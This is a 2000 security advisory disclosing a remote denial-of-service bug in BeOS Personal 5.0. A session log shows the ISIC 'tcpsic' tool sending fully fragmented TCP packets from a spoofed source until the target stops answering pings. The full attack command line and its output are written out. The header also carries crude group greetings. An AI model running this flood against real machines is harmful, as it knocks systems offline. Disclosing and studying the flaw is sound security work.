AUX Technologies.

                                Security Advisory.

Advisory: Remote Denial of Service against Be/OS.

Release Date:   May 15, 2000.

Status: No fix yet.

Vulnerable version: Be/OS Personal 5.0 build feb 212000 4:43:00.

Vendor: Contacted and no answer.

Shoutz: AUX PPL(braSil rulez), dethl0k, cryonic, drk, grafspee and
mike frantzen(isic), a "fuck you" to sgi (stole codes is bad for your health).

Description:

        The Be/OS Operating System version 5.0 have a vulnerability in the
tcp fragmentation which can lock up the entire system, needing a cold
reset to back work. The bug can be reproduced using the ISIC-0.05.

[root@localhost isic-0.05]# ping 10.0.1.46
PING 10.0.1.46 (10.0.1.46) from 10.0.3.5 : 56(84) bytes of data.
64 bytes from 10.0.1.46: icmp_seq=0 ttl=255 time=7.3 ms
64 bytes from 10.0.1.46: icmp_seq=1 ttl=255 time=1.8 ms

--- 10.0.1.46 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 1.8/4.5/7.3 ms
[root@localhost isic-0.05]# ./tcpsic -s 1.1.1.1 -d 10.0.1.46 -r 31337 -F100 -V0
-I0 -T0 -u0 -t0
Compiled against Libnet 1.0.1b
Installing Signal Handlers.
Seeding with 31337
No Maximum traffic limiter
Using random source ports.
Using random destination ports.
Bad IP Version  = 0%            IP Opts Pcnt    = 0%
Frag'd Pcnt     = 100%          Urg Pcnt        = 0%
Bad TCP Cksm    = 0%            TCP Opts Pcnt   = 0%

 1000 @ 1802.8 pkts/sec and 1174.6 k/s
 2000 @ 1636.8 pkts/sec and 1105.5 k/s
 3000 @ 2110.2 pkts/sec and 1396.4 k/s
 4000 @ 1689.1 pkts/sec and 1105.4 k/s
Caught signal 2
Used random seed 31337
Wrote 5002 packets in 2.74s @ 1824.48 pkts/s
[root@localhost isic-0.05]# ping 10.0.1.46
PING 10.0.1.46 (10.0.1.46) from 10.0.3.5 : 56(84) bytes of data.

--- 10.0.1.46 ping statistics ---
11 packets transmitted, 0 packets received, 100% packet loss
[root@localhost isic-0.05]#

===============================================================================
visi0n
AUX Technologies
[www.aux-tech.org]